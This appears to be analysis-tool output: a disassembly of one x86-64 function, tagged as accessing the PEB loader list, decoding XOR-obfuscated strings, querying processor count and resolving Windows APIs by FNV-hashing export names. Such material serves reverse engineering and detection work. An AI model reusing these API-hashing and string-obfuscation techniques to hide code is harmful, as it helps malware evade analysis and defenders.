Function at 0x14029a820
Capabilities:
Access peb ldr_data
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r15
mov rbp, rsp
sub rsp, 0x80
movdqa xmm0, xmmword [0x1403a0260]
lea r8, [rbp - 0x34]
xor r15d, r15d
mov dword [rbp - 0x2f], 0xc777b8
movdqu xmmword [rbp - 0x40], xmm0
mov r10d, r15d
mov word [rbp - 0x2b], 0x305
mov byte [rbp - 0x29], 0xb3
mov byte [rbp - 0x30], 0
nop dword [rax]
nop dword [rax + rax]
movzx eax, r10b
lea ebx, [r10 + r10*2]
movzx ecx, byte [rbp + rbx - 0x40]
add al, al
mov byte [r8], cl
movzx r11d, byte [rbp - 0x2d]
lea edi, [rax + r10]
add r11b, dil
lea eax, [rbx + 1]
xor r11b, cl
mov byte [r8], r11b
xor dl, dl
movzx r9d, byte [rbp + rax - 0x40]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029a8b6
inc dl
cmp dl, 4
jne 0x14029a8a0
jmp 0x14029a8c4
movzx eax, byte [rbp - 0x2a]
movsx ecx, r11b
btc ecx, eax
mov byte [r8], cl
lea eax, [rbx + 2]
mov cl, 5
movzx edx, byte [rbp + rax - 0x40]
mov r9d, eax
movzx eax, dl
sar al, cl
test al, 1
jne 0x14029a8e3
inc cl
cmp cl, 8
jne 0x14029a8d1
jmp 0x14029a8f1
movsx ecx, byte [r8]
movzx eax, byte [rbp - 0x2b]
btc ecx, eax
mov byte [r8], cl
movzx edx, byte [rbp + r9 - 0x40]
xor cl, cl
nop dword [rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14029a912
inc cl
cmp cl, 5
jne 0x14029a900
jmp 0x14029a920
movsx ecx, byte [r8]
movzx eax, byte [rbp - 0x2c]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rbp - 0x2e]
inc r10d
add al, dil
xor byte [r8], al
inc r8
cmp r10d, 4
jne 0x14029a870
xorps xmm0, xmm0
lea rax, [rbp - 0x34]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rbp - 0x28], xmm0
movdqu xmmword [rbp - 0x18], xmm1
inc r8
cmp byte [rax + r8], r15b
jne 0x14029a954
lea rdx, [rbp - 0x34]
lea rcx, [rbp - 0x28]
call fcn.14008f2b0
cmp qword [rbp - 0x10], 0xf
lea rsi, [rbp - 0x28]
mov dword [rbp - 0x40], 0x18800801
lea r8, [rbp - 0x37]
cmova rsi, qword [rbp - 0x28]
mov r10d, r15d
mov dword [rbp - 0x3c], 0x8499000
mov dword [rbp - 0x38], 0x80
mov dword [rbp - 0x33], 0xc7c7b3
mov word [rbp - 0x2f], 0x305
mov byte [rbp - 0x2d], 0xb3
mov byte [rbp - 0x34], r15b
nop dword [rax]
movzx eax, r10b
lea edi, [r10 + r10*2]
movzx ecx, byte [rbp + rdi - 0x40]
add al, al
mov byte [r8], cl
lea r11d, [rax + r10]
movzx ebx, r11b
lea eax, [rdi + 1]
add bl, byte [rbp - 0x31]
xor bl, cl
mov byte [r8], bl
xor dl, dl
movzx r9d, byte [rbp + rax - 0x40]
nop dword [rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029a9f6
inc dl
cmp dl, 4
jne 0x14029a9e0
jmp 0x14029aa03
movzx eax, byte [rbp - 0x2e]
movsx ecx, bl
btc ecx, eax
mov byte [r8], cl
lea eax, [rdi + 2]
mov cl, 5
movzx edx, byte [rbp + rax - 0x40]
mov r9d, eax
movzx eax, dl
sar al, cl
test al, 1
jne 0x14029aa22
inc cl
cmp cl, 8
jne 0x14029aa10
jmp 0x14029aa30
movsx ecx, byte [r8]
movzx eax, byte [rbp - 0x2f]
btc ecx, eax
mov byte [r8], cl
movzx edx, byte [rbp + r9 - 0x40]
xor cl, cl
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14029aa52
inc cl
cmp cl, 5
jne 0x14029aa40
jmp 0x14029aa60
movsx ecx, byte [r8]
movzx eax, byte [rbp - 0x30]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rbp - 0x32]
inc r10d
xor byte [r8], r11b
inc r8
cmp r10d, 3
jne 0x14029a9b0
movzx ebx, byte [rsi + 1]
lea rcx, [rbp - 0x28]
call fcn.14008f6e0
cmp byte [rbp - 0x37], bl
jne 0x14029b588
mov rax, qword gs:[0x60]
mov qword [rsp + 0xa8], r14
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x14029ab3a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14029ab3a
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
mov r10d, 0xaf0ea9c
lea rcx, [r14 + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14029ab35
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x14029ab00
cmp r10d, 0xce8b21ae
je 0x14029ab42
test r11d, r11d
jne 0x14029aae0
mov rax, qword [rax]
jmp 0x14029aab0
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
add rax, rbx
call rax
mov r14d, eax
lea r9, [rbp - 0x4a]
mov r10d, r15d
mov dword [rbp - 0x50], 0x72400827
mov dword [rbp - 0x4c], 0x4000
mov dword [rbp - 0x47], 0xb3c7b3
mov word [rbp - 0x43], 0x305
mov byte [rbp - 0x41], Ordinal_200
mov byte [rbp - 0x48], r15b
nop dword [rax + rax]
movzx eax, r10b
lea edx, [r10 + r10*2]
movzx ecx, byte [rbp + rdx - 0x50]
add al, al
mov byte [r9], cl
lea r11d, [rax + r10]
movzx ebx, r11b
lea eax, [rdx + 1]
add bl, byte [rbp - 0x45]
xor bl, cl
mov byte [r9], bl
xor r8b, r8b
movzx edx, byte [rbp + rax - 0x50]
nop dword [rax]
movzx eax, dl
movzx ecx, r8b
sar al, cl
test al, 1
jne 0x14029abd8
inc r8b
cmp r8b, 4
jne 0x14029abc0
jmp 0x14029abe5
movzx eax, byte [rbp - 0x42]
movsx ecx, bl
btc ecx, eax
mov byte [r9], cl
lea eax, [r10 + 1]
mov dl, 5
lea eax, [r10 + rax*2]
movzx r8d, byte [rbp + rax - 0x50]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029ac16
inc dl
cmp dl, 8
jne 0x14029ac00
jmp 0x14029ac24
movsx ecx, byte [r9]
movzx eax, byte [rbp - 0x43]
btc ecx, eax
mov byte [r9], cl
lea eax, [r10 + 1]
xor dl, dl
lea eax, [r10 + rax*2]
movzx r8d, byte [rbp + rax - 0x50]
nop dword [rax]
nop dword [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029ac56
inc dl
cmp dl, 5
jne 0x14029ac40
jmp 0x14029ac64
movsx ecx, byte [r9]
movzx eax, byte [rbp - 0x44]
btc ecx, eax
mov byte [r9], cl
add r11b, byte [rbp - 0x46]
inc r10d
xor byte [r9], r11b
inc r9
cmp r10d, 2
jne 0x14029ab90
mov ecx, r14d
mov eax, 0xaaaaaaab
mul r14d
shr edx, 1
lea eax, [rdx + rdx*2]
sub ecx, eax
mov edi, ecx
cmp byte [rbp + rcx - 0x4a], 0x5d
je 0x14029b580
xor r9b, r9b
mov word [rbp - 0x60], 0x51
mov r8b, 5
mov byte [rbp - 0x5c], r9b
movzx ecx, r8b
mov byte [rbp - 0x5e], r15b
mov dword [rbp - 0x5b], 0xc7b877
mov dl, __WSAFDIsSet
mov word [rbp - 0x57], 0x305
mov byte [rbp - 0x55], 0xb3
xor eax, eax
sar al, cl
test al, 1
jne 0x14029acd6
inc cl
cmp cl, 8
jne 0x14029acc5
jmp 0x14029ace0
movsx edx, dl
movzx eax, r8b
btc edx, eax
xor cl, cl
xor eax, eax
sar al, cl
test al, 1
jne 0x14029acf3
inc cl
cmp cl, r8b
jne 0x14029ace2
jmp 0x14029acfd
movsx edx, dl
movzx eax, r9b
btc edx, eax
mov rax, r14
xor dl, 0xb8
and eax, 1
mov byte [rbp - 0x5d], dl
mov rsi, r14
cmp byte [rbp + rax - 0x5d], 0x20
je 0x14029b580
mov byte [rbp - 0x38], r9b
mov r10d, r15d
lea r9, [rbp - 0x3a]
mov dword [rbp - 0x40], 0x34100877
mov dword [rbp - 0x3c], 8
mov dword [rbp - 0x37], 0xb3c7b3
mov word [rbp - 0x33], 0x305
mov byte [rbp - 0x31], Ordinal_200
movzx eax, r10b
lea edx, [r10 + r10*2]
movzx ecx, byte [rbp + rdx - 0x40]
add al, al
mov byte [r9], cl
lea ebx, [rax + r10]
movzx r11d, bl
lea eax, [rdx + 1]
add r11b, byte [rbp - 0x35]
xor r11b, cl
mov byte [r9], r11b
xor r8b, r8b
movzx edx, byte [rbp + rax - 0x40]
movzx eax, dl
movzx ecx, r8b
sar al, cl
test al, 1
jne 0x14029ad88
inc r8b
cmp r8b, 4
jne 0x14029ad70
jmp 0x14029ad96
movzx eax, byte [rbp - 0x32]
movsx ecx, r11b
btc ecx, eax
mov byte [r9], cl
lea eax, [r10 + 1]
mov dl, 5
lea eax, [r10 + rax*2]
movzx r8d, byte [rbp + rax - 0x40]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029adc6
inc dl
cmp dl, 8
jne 0x14029adb0
jmp 0x14029add4
movsx ecx, byte [r9]
movzx eax, byte [rbp - 0x33]
btc ecx, eax
mov byte [r9], cl
lea eax, [r10 + 1]
xor dl, dl
lea eax, [r10 + rax*2]
movzx r8d, byte [rbp + rax - 0x40]
nop dword [rax]
nop dword [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029ae06
inc dl
cmp dl, 5
jne 0x14029adf0
jmp 0x14029ae14
movsx ecx, byte [r9]
movzx eax, byte [rbp - 0x34]
btc ecx, eax
mov byte [r9], cl
add bl, byte [rbp - 0x36]
inc r10d
xor byte [r9], bl
inc r9
cmp r10d, 2
jne 0x14029ad41
cmp byte [rbp + rdi - 0x3a], 0xa
je 0x14029b580
mov dword [rbp - 0x40], 0x3b000868
lea r9, [rbp - 0x37]
mov dword [rbp - 0x3c], 0x87a1008
mov r10d, r15d
mov dword [rbp - 0x38], reloc.WS2_32.dll_recv
mov dword [rbp - 0x33], 0xb8b877
mov word [rbp - 0x2f], 0x305
mov byte [rbp - 0x2d], 0x77
mov byte [rbp - 0x34], r15b
nop word [rax + rax]
movzx eax, r10b
lea edx, [r10 + r10*2]
movzx ecx, byte [rbp + rdx - 0x40]
add al, al
mov byte [r9], cl
lea ebx, [rax + r10]
movzx r11d, bl
lea eax, [rdx + 1]
add r11b, byte [rbp - 0x31]
xor r11b, cl
mov byte [r9], r11b
xor r8b, r8b
movzx edx, byte [rbp + rax - 0x40]
nop
movzx eax, dl
movzx ecx, r8b
sar al, cl
test al, 1
jne 0x14029aeb8
inc r8b
cmp r8b, 4
jne 0x14029aea0
jmp 0x14029aec6
movzx eax, byte [rbp - 0x2e]
movsx ecx, r11b
btc ecx, eax
mov byte [r9], cl
lea eax, [r10 + 1]
mov dl, 5
lea eax, [r10 + rax*2]
movzx r8d, byte [rbp + rax - 0x40]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029aef6
inc dl
cmp dl, 8
jne 0x14029aee0
jmp 0x14029af04
movsx ecx, byte [r9]
movzx eax, byte [rbp - 0x2f]
btc ecx, eax
mov byte [r9], cl
lea eax, [r10 + 1]
xor dl, dl
lea eax, [r10 + rax*2]
movzx r8d, byte [rbp + rax - 0x40]
nop dword [rax]
nop dword [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029af36
inc dl
cmp dl, 5
jne 0x14029af20
jmp 0x14029af44
movsx ecx, byte [r9]
movzx eax, byte [rbp - 0x30]
btc ecx, eax
mov byte [r9], cl
add bl, byte [rbp - 0x32]
inc r10d
xor byte [r9], bl
inc r9
cmp r10d, 3
jne 0x14029ae70
and esi, r10d
cmp byte [rbp + rsi - 0x37], 0x2e
je 0x14029b580
cmp r14d, 0x5063f50e
ja 0x14029b580
inc r14d
xor r14d, 0x5063f50e
cmp r14d, 0xa62ef6aa
jne 0x14029b580
mov dword [rbp - 0x40], 0x38000123
lea r9, [rbp - 0x37]
mov qword [rbp - 0x3c], 0x12f1000
mov r10d, r15d
mov dword [rbp - 0x33], 0x7777b8
mov word [rbp - 0x2f], 0x305
mov byte [rbp - 0x2d], 0xb8
mov byte [rbp - 0x34], r15b
nop word [rax + rax]
movzx eax, r10b
lea edx, [r10 + r10*2]
movzx ecx, byte [rbp + rdx - 0x40]
add al, al
mov byte [r9], cl
lea r11d, [rax + r10]
movzx ebx, r11b
lea eax, [rdx + 1]
add bl, byte [rbp - 0x31]
xor bl, cl
mov byte [r9], bl
xor r8b, r8b
movzx edx, byte [rbp + rax - 0x40]
nop dword [rax]
movzx eax, dl
movzx ecx, r8b
sar al, cl
test al, 1
jne 0x14029b008
inc r8b
cmp r8b, 4
jne 0x14029aff0
jmp 0x14029b015
movzx eax, byte [rbp - 0x2e]
movsx ecx, bl
btc ecx, eax
mov byte [r9], cl
lea eax, [r10 + 1]
mov dl, 5
lea eax, [r10 + rax*2]
movzx r8d, byte [rbp + rax - 0x40]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029b046
inc dl
cmp dl, 8
jne 0x14029b030
jmp 0x14029b054
movsx ecx, byte [r9]
movzx eax, byte [rbp - 0x2f]
btc ecx, eax
mov byte [r9], cl
lea eax, [r10 + 1]
xor dl, dl
lea eax, [r10 + rax*2]
movzx r8d, byte [rbp + rax - 0x40]
nop dword [rax]
nop dword [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029b086
inc dl
cmp dl, 5
jne 0x14029b070
jmp 0x14029b094
movsx ecx, byte [r9]
movzx eax, byte [rbp - 0x30]
btc ecx, eax
mov byte [r9], cl
add r11b, byte [rbp - 0x32]
inc r10d
xor byte [r9], r11b
inc r9
cmp r10d, 3
jne 0x14029afc0
cmp byte [rbp - 0x37], r10b
jne 0x14029b18a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x14029b15a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14029b15a
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
mov r10d, 0x3ffcd175
lea rcx, [r14 + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14029b155
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x14029b120
cmp r10d, 0x8fcda845
je 0x14029b162
test r11d, r11d
jne 0x14029b100
mov rax, qword [rax]
jmp 0x14029b0d0
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
mov edx, 0xed2ab5e4
add rax, rbx
mov ecx, 0xa31e6351
call rax
jmp 0x14029b580
mov dword [rbp - 0x40], 0x76000863
lea r9, [rbp - 0x37]
mov dword [rbp - 0x3c], 0x83b0008
mov dword [rbp - 0x38], reloc.WS2_32.dll_recv
mov dword [rbp - 0x33], 0xb3b3c7
mov word [rbp - 0x2f], 0x305
mov byte [rbp - 0x2d], Ordinal_200
mov byte [rbp - 0x34], r15b
nop dword [rax + rax]
movzx eax, r15b
lea edx, [r15 + r15*2]
movzx ecx, byte [rbp + rdx - 0x40]
add al, al
mov byte [r9], cl
lea r10d, [rax + r15]
movzx r11d, r10b
lea eax, [rdx + 1]
add r11b, byte [rbp - 0x31]
xor r11b, cl
mov byte [r9], r11b
xor r8b, r8b
movzx edx, byte [rbp + rax - 0x40]
nop
movzx eax, dl
movzx ecx, r8b
sar al, cl
test al, 1
jne 0x14029b208
inc r8b
cmp r8b, 4
jne 0x14029b1f0
jmp 0x14029b216
movzx eax, byte [rbp - 0x2e]
movsx ecx, r11b
btc ecx, eax
mov byte [r9], cl
lea eax, [r15 + 1]
mov dl, 5
lea eax, [r15 + rax*2]
movzx r8d, byte [rbp + rax - 0x40]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029b246
inc dl
cmp dl, 8
jne 0x14029b230
jmp 0x14029b254
movsx ecx, byte [r9]
movzx eax, byte [rbp - 0x2f]
btc ecx, eax
mov byte [r9], cl
lea eax, [r15 + 1]
xor dl, dl
lea eax, [r15 + rax*2]
movzx r8d, byte [rbp + rax - 0x40]
nop dword [rax]
nop dword [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14029b286
inc dl
cmp dl, 5
jne 0x14029b270
jmp 0x14029b294
movsx ecx, byte [r9]
movzx eax, byte [rbp - 0x30]
btc ecx, eax
mov byte [r9], cl
add r10b, byte [rbp - 0x32]
inc r15d
xor byte [r9], r10b
inc r9
cmp r15d, 3
jne 0x14029b1c0
cmp byte [rbp - 0x35], 4
jne 0x14029b580
movss xmm0, dword [0x1403c1cf4]
mov edx, 0xa5c096b6
movss xmm2, dword [0x1403c1cf0]
movaps xmm1, xmm0
divss xmm1, xmm2
mov cl, 0x18
mov eax, edx
shr eax, cl
mulss xmm1, xmm0
addss xmm1, xmm0
movss dword [0x1403c1cf4], xmm1
test al, 1
je 0x14029b2f7
mov cl, 1
mov eax, edx
inc cl
shr eax, cl
test al, 1
jne 0x14029b328
mov cl, 1
mov eax, edx
shr eax, cl
test cl, al
jne 0x14029b328
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14029b328
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14029b328
mov cl, reloc.WS2_32.dll_setsockopt
shr edx, cl
test dl, 1
jne 0x14029b328
comiss xmm2, xmm1
jbe 0x14029b580
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x14029b3ca
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14029b3ca
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
mov r10d, 0x89b6dc8c
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + r14]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14029b3c5
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x14029b390
cmp r10d, 0xa3221512
je 0x14029b3d2
test r11d, r11d
jne 0x14029b370
mov rax, qword [rax]
jmp 0x14029b340
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
add rax, rbx
call rax
mov r15, rax
test rax, rax
je 0x14029b580
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov rbx, qword [rcx + 0x30]
movsxd rdx, dword [rbx + 0x3c]
mov esi, dword [rdx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x14029b49a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14029b49a
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
mov r10d, 0x495ec85a
lea rax, [r14 + r11*4]
mov r9d, dword [rax + rbx]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14029b495
movsx eax, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, eax
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, eax
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x14029b460
cmp r10d, 0x32470e40
je 0x14029b4a2
test r11d, r11d
jne 0x14029b440
mov rcx, qword [rcx]
jmp 0x14029b410
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
mov rcx, r15
add rax, rbx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x14029b55a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14029b55a
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
mov r10d, 0x5a769a91
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + r14]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14029b555
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x14029b520
cmp r10d, 0x7f2bccd7
je 0x14029b562
test r11d, r11d
jne 0x14029b500
mov rax, qword [rax]
jmp 0x14029b4d0
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
mov ecx, 0xaa0f5c60
add rax, rbx
call rax
mov r14, qword [rsp + 0xa8]
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret